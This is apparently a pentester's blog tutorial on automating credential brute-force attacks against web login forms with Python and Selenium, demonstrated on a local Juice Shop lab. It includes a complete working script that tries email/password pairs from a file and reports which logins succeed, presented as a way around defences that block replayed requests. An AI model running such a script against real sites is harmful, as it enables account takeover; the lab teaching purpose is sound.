Page cover

Brute Force Automation (Python + Selenium)

Sometimes, the typical brute force attack, where you capture HTTP requests and repeat them using tools like Burp Suite Intruder, isn't possible. 🤔 Whether it's due to traffic interception restrictions, session handling challenges, or any other obstacles, the traditional approach doesn't always work.

This is where Python + Selenium comes into play🚀. In this post, I'll show you how I automate this technique in a unique way, using Selenium to interact with forms and pages, and combining it with Python to capture and process the responses we get.

Part One: Selenium

Why Sleneium?

When I started in the world of penetration testing, one of the attacks I carried out the most was related to brute force. Whether it was finding valid credentials or automating information extraction, Burp Suite's Intruder became one of my top tools every day. As reports piled up and mitigation measures appeared, I began to wonder: are these attacks really being mitigated, or are there still other ways to carry out brute force attacks? Sometimes, we noticed that the data in the requests was encrypted, making it hard to intercept, modify, and repeat. That's when Selenium came into my hands, along with a few other tools with similar goals.

Selenium is a testing automation tool that lets you simulate interactions with web applications, just like you would when browsing manually. Commonly used in QA, it allows developers and testers to run automated tests to validate how their applications behave. And it's this ability to control web browsers that makes it a fun option to explore for brute force attacks. Instead of the usual intercepting and modifying traffic, we focus on simulating how a bunch of people would interact with the site!

In this article, I won't focus on explaining how to install the tool, but rather on its practical use—so feel free to look up the installation process elsewhere!

Selenium 101

To dive into automating a brute force attack, we first need to understand the fundamental concepts and commands of Selenium. Familiarizing ourselves with these basics will help us effectively navigate and interact with web applications for our security tests.

Using Drivers

The primary unit of Selenium is the driver, which serves as a bridge between our code and the browser. Each browser has its own specific driver (like ChromeDriver for Chrome or GeckoDriver for Firefox) that allows Selenium to control it.

Here's a basic example of how to start a driver in Python:

# Import the webdriver module
from selenium import webdriver

# Start the Chrome driver
driver = webdriver.Chrome()

Once the driver is initiated, we can use it to navigate to the desired website:

# Define the URL to navigate to
url = 'https://www.example.com'

# Use the driver to navigate to the specified URL
driver.get(url)

I particularly prefer to handle the URL in a variable, as this makes it easier to modify and reference later on.

Finding Elements

Once the driver has been initiated and we have navigated to the site, we can interact with page elements. Selenium allows us to find elements in various ways:

# Find an element by ID
element = driver.find_element_by_id("element_id")

# Find an element by name
element = driver.find_element_by_name("element_name")

# Find an element by XPath
element = driver.find_element_by_xpath("//tag[@attribute='value']")

Once we have located an element, we can perform various actions:

# Click on a button
element.click()

# Enter text in an input field
element.send_keys("Sample text")

# Clear text from an input field
element.clear()

# Get the text of an element
text = element.text

# Get an attribute value (e.g., value, href)
attribute_value = element.get_attribute("attribute_name")

For dropdown menus, you can use the Select class:

# Import the Select class
from selenium.webdriver.support.ui import Select

# Locate the dropdown element using its ID
dropdown_element = driver.find_element_by_id("dropdown_id")

# Initialize the Select object
dropdown = Select(dropdown_element)

# Select an option by visible text
dropdown.select_by_visible_text("Option Text")  # Replace with the actual option text

# or

# Select an option by its value (if needed)
dropdown.select_by_value("document_type")  # Replace with the actual value to select

While there are many more ways to interact with elements, these basic commands will be helpful to get you started. Once you're comfortable with these, you can explore additional methods to enhance your automation skills.

Selenium Beyond Basics

To dive into automating brute force attacks, there are a few advanced concepts we need to grasp. We'll cover how to manage wait times, capture responses from elements, and add delays between interactions. These techniques are key to making our tests more effective.

Implicit and Explicit Waits

Managing wait times is crucial to ensure that elements are available before interacting with them. In Selenium, we can utilize two types of waits:

Implicit Waits: These are set globally and specify a maximum time the WebDriver will wait to find an element.

# Waits up to 10 seconds for elements to appear
driver.implicitly_wait(10)

Explicit Waits: These are used to wait for specific conditions on elements. This is useful when we know an element may take some time to appear.

from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By

# Wait until an element is present in the DOM
element = WebDriverWait(driver, 10).until(
    EC.presence_of_element_located((By.XPATH, "xpath"))
)

# or

# Wait until a button is clickable
button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.XPATH, "button_xpath"))
)

To ensure that your script continues only once the desired element is available, helping to avoid "element not found" errors, it's better to use explicit waits. They allow you to wait for specific conditions, making your tests more reliable and less prone to timing issues.

Part Two: Brute Force Automation

Now that we understand the basics of Selenium, let’s get our hands dirty and conduct a brute force attack in a controlled testing environment! For this proof of concept (PoC), we will be using the login feature of Juice Shop.

Identifying the Login Elements

The first step will be to identify all the elements we need to interact with. In this PoC, since we want to simulate the behavior of a user logging in, we will need to fill in the email and password fields, as well as click the "Log in" button.

Juice Shop login interface: elements to be automated with Selenium

Particularly, what hasn't failed me in this type of testing is using the XPath of the elements to identify and reference them with Selenium. To do this, we will use the browser's "Inspect" tool to access these values.

Accessing the 'Inspect' tool in the browser: key to identifying elements

Once inside the inspect tool, we will locate the element we want to interact with, such as the email field, and in the options, we will look for the option to copy the XPath.

Locating an element in the 'Inspect' tool and copying its XPath

It's important to save these values so we can use them later in our code:

email_field_xpath = '//*[@id="email"]'
password_field_xpath = '//*[@id="password"]'
login_button_xpath = '//*[@id="loginButton"]'

Preparing the Test Set

Before we dive into the code itself, let's prepare the dataset we will use in this PoC. There are multiple ways to load data, and you can choose the one that suits you best. Since this exercise is not intended to delve into programming issues, we will simply load the email and password values from a .txt file, where each credential will be on a separate line and both values will be separated by a comma.

credentials.txt

user1@example.com,password1
user2@example.com,password2
user3@example.com,password3
user4@example.com,password4
user5@example.com,password5
user6@example.com,password6
user7@example.com,password7
user8@example.com,password8
user9@example.com,password9
user10@example.com,password10

The Code 🖥️

Now, let's get to the action. The first thing we will do is start our driver. In this PoC, we will be using Chrome as the browser. Additionally, we will make some configurations to prevent warning messages from cluttering the console output and affecting the evidence.

This code snippet shows how to configure the Chrome driver for use in this PoC, suppressing warning messages and errors in the console:

# Load necessary modules
import os
import sys
import logging
from selenium import webdriver
from selenium.webdriver.chrome.options import Options

# Suppress error messages and configure logging
sys.stderr = open(os.devnull, "w")  # Redirect error messages to null device
logging.basicConfig(level=logging.CRITICAL)  # Set logging to show only critical messages

# Configure Chrome options to suppress log output
chrome_options = Options()
chrome_options.add_argument("--log-level=3")  # Set log level to suppress messages
chrome_options.add_argument("--silent")  # Run Chrome in silent mode

Next, we will configure the necessary variables, such as our target (URL) and the credentials file.

# Set target URL and credentials file
TARGET_URL = 'http://localhost:3000/#/login'
CREDENTIALS_FILE = 'credentials.txt'

I like to print information about the test to be performed, such as the target, date, time of execution, type of driver, and the version of Selenium in use. This is useful to ensure our evidence is as complete as possible. To achieve this, we will create a function that prints the information of the test being executed:

# Load necessary modules
import selenium
from datetime import datetime

def print_test_info(driver):
     """
    Prints the test information, such as target URL, date, time of execution,
    driver type, and Selenium version. This helps in creating a clear log for
    the test being executed, ensuring evidence is as complete as possible.

    Args:
        driver: The Selenium WebDriver instance (e.g., Chrome, Firefox, etc.).

    Prints:
        The target URL, current date and time, driver type, and Selenium version.
    """
    current_time = datetime.now()
    driver_type = type(driver).__name__
    selenium_version = selenium.__version__

    print("╔╗ ╦═╗╦ ╦╔╦╗╔═╗  ╔═╗╔═╗╦═╗╔═╗╔═╗  ╔╦╗╔═╗╔═╗╔╦╗")
    print("╠╩╗╠╦╝║ ║ ║ ║╣   ╠╣ ║ ║╠╦╝║  ║╣    ║ ║╣ ╚═╗ ║ ")
    print("╚═╝╩╚═╚═╝ ╩ ╚═╝  ╚  ╚═╝╩╚═╚═╝╚═╝   ╩ ╚═╝╚═╝ ╩ ")
    print("=====================================================")
    print(f"\033[96m[Info]\033[0m Target URL: {TARGET_URL}")
    print(f"\033[96m[Info]\033[0m Date: {current_time}")
    print(f"\033[96m[Info]\033[0m Driver Type: {driver_type}")
    print(f"\033[96m[Info]\033[0m Selenium Version: {selenium_version}")
    print("=====================================================")

# Initialize the Chrome driver with specified options and print test info       
driver = webdriver.Chrome(options=chrome_options)
print_test_info(driver)

Before starting the simulation, we will load the test data that we will use in each interaction we simulate. Remember that, in this case, we will be using a .txt file called credentials.txt

# Open and process the credentials file
try:
    with open(CREDENTIALS_FILE, 'r') as file:
        for line in file:
            line = line.strip()
            if line:
                email, password = line.split(',')
                 # Logic for simulating login with Selenium goes here
except FileNotFoundError:
    print("\033[91m[Error]\033[0m The file {CREDENTIALS_FILE} does not exist.")
except Exception as e:
    print(f"\033[91m[Error]\033[0m reading {CREDENTIALS_FILE}: {e}")

Now, we will create a function to interact with the browser elements. To do this, we will use the xPath values we previously determined and interact with the corresponding elements. A useful approach here will be to use explicit waits, which will ensure the element is present in the browser before interacting with i:

# Load necessary modules
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

# Global variables for XPath values
EMAIL_FIELD_XPATH = '//*[@id="email"]'
PASSWORD_FIELD_XPATH = '//*[@id="password"]'
LOGIN_BUTTON_XPATH = '//*[@id="loginButton"]'

# Logic for simulating login with Selenium
# ¡¡Loop through each user!!

# Navigate to the target
driver.get(TARGET_URL)

# Wait for the email input field to be present and interact with it
email_input = WebDriverWait(driver, 10).until(
    EC.presence_of_element_located((By.XPATH, EMAIL_FIELD_XPATH))
)
email_input.clear()
email_input.send_keys(email)

# Wait for the password input field to be present and interact with it
password_input = WebDriverWait(driver, 10).until(
    EC.presence_of_element_located((By.XPATH, PASSWORD_FIELD_XPATH))
)
password_input.clear()
password_input.send_keys(password)

# Wait for the login button to be clickable and click it
submit_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.XPATH, LOGIN_BUTTON_XPATH))
)
submit_button.click()

In this case, we are using explicit waits to ensure that the elements are fully loaded and ready to be interacted with before proceeding. We set a maximum wait time of 10 seconds for each element to appear or become clickable. This ensures that the automation script does not proceed until the required elements are present and interactable, helping to avoid errors due to timing issues.

There are various ways to approach the next stage, which involves analyzing the system's response to the different credentials we will be testing. Evaluating error messages, identifying newly loaded elements, redirects, and more are just a few of the available options.

We will particularly focus on the redirection. Once we click the login button, we will look for the element associated with the error message (using its xPath). If this element is present, it indicates that the credentials are incorrect. On the other hand, if we cannot locate the element, it will mean that we have successfully logged in and have been redirected.


# Global variable for the error message xPath
ERROR_MESSAGE_XPATH = '/html/body/app-root/div/mat-sidenav-container/mat-sidenav-content/app-login/div/mat-card/div[1]'

# Wait for the error message or successful login
try:
    error_message = WebDriverWait(driver, 10).until(
        EC.presence_of_element_located((By.XPATH, ERROR_MESSAGE_XPATH))
    )
    print(f"\t\033[91m[-]\033[0m Invalid credentials")
except:
    print(f"\t\033[92m[+]\033[0m Login successful (pass: {password})")

This would result in the following final script:

import os
import sys
import time
import logging
import selenium
from datetime import datetime
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

sys.stderr = open(os.devnull, "w")
logging.basicConfig(level=logging.CRITICAL)

chrome_options = Options()
chrome_options.add_argument("--log-level=3")
chrome_options.add_argument("--silent")

TARGET_URL = 'http://localhost:3000/#/login'
CREDENTIALS_FILE = 'credentials.txt'
EMAIL_FIELD_XPATH = '//*[@id="email"]'
PASSWORD_FIELD_XPATH = '//*[@id="password"]'
LOGIN_BUTTON_XPATH = '//*[@id="loginButton"]'
ERROR_MESSAGE_XPATH = '/html/body/app-root/div/mat-sidenav-container/mat-sidenav-content/app-login/div/mat-card/div[1]'

def print_test_info(driver):
    """
    Prints the test information, such as target URL, date, time of execution,
    driver type, and Selenium version. This helps in creating a clear log for
    the test being executed, ensuring evidence is as complete as possible.

    Args:
        driver: The Selenium WebDriver instance (e.g., Chrome, Firefox, etc.).

    Prints:
        The target URL, current date and time, driver type, and Selenium version.
    """
    current_time = datetime.now()
    driver_type = type(driver).__name__
    selenium_version = selenium.__version__

    print("╔╗ ╦═╗╦ ╦╔╦╗╔═╗  ╔═╗╔═╗╦═╗╔═╗╔═╗  ╔╦╗╔═╗╔═╗╔╦╗")
    print("╠╩╗╠╦╝║ ║ ║ ║╣   ╠╣ ║ ║╠╦╝║  ║╣    ║ ║╣ ╚═╗ ║ ")
    print("╚═╝╩╚═╚═╝ ╩ ╚═╝  ╚  ╚═╝╩╚═╚═╝╚═╝   ╩ ╚═╝╚═╝ ╩ ")
    print("=====================================================")
    print(f"\033[96m[Info]\033[0m Target URL: {TARGET_URL}")
    print(f"\033[96m[Info]\033[0m Date: {current_time}")
    print(f"\033[96m[Info]\033[0m Driver Type: {driver_type}")
    print(f"\033[96m[Info]\033[0m Selenium Version: {selenium_version}")
    print("=====================================================")

driver = webdriver.Chrome(options=chrome_options)
print_test_info(driver)

driver.get(TARGET_URL)

try:
    with open(CREDENTIALS_FILE, 'r') as file:
        for line in file:
            line = line.strip()
            if line:
                email, password = line.split(',')
                print(f"[*] Testing credentials for email: {email}")

                driver.get(TARGET_URL)

                email_input = WebDriverWait(driver, 10).until(
                    EC.presence_of_element_located((By.XPATH, EMAIL_FIELD_XPATH))
                )
                email_input.clear()
                email_input.send_keys(email)

                password_input = WebDriverWait(driver, 10).until(
                    EC.presence_of_element_located((By.XPATH, PASSWORD_FIELD_XPATH))
                )
                password_input.clear()
                password_input.send_keys(password)

                submit_button = WebDriverWait(driver, 10).until(
                    EC.element_to_be_clickable((By.XPATH, LOGIN_BUTTON_XPATH))
                )
                submit_button.click()
                time.sleep(3)

                try:
                    error_message = WebDriverWait(driver, 10).until(
                        EC.presence_of_element_located((By.XPATH, ERROR_MESSAGE_XPATH))
                    )
                    print(f"\t\033[91m[-]\033[0m Invalid credentials")
                except:
                    print(f"\t\033[92m[+]\033[0m Login successful (pass: {password})")
                
                time.sleep(2)

except FileNotFoundError:
    print(f"\033[91m[Error]\033[0m The file {CREDENTIALS_FILE} does not exist.")
except Exception as e:
    print(f"\033[91m[Error]\033[0m reading {CREDENTIALS_FILE}: {e}")

Running the Code 🚀

This would be the final result when running this PoC. Since it is a controlled test environment, we have included valid credentials in the dataset to demonstrate when valid credentials are detected.

Script Output: Brute Force Results with Selenium

Conclusions

The use of Selenium in penetration testing is a valuable tool when more "traditional" methods are unavailable. The ability to simulate human interactions in the browser allows us to identify vulnerabilities that depend on these actions. Additionally, its automation can save time in the process. However, like everything in life, it has its drawbacks, such as slower performance compared to more traditional tools and the need to maintain scripts in response to changes in the user interface. Overall, as a pentester, Selenium should be part of your toolkit, but it should always be complemented with other techniques to achieve a comprehensive and effective approach that allows you to explore all the dimensions of what you are evaluating

Last updated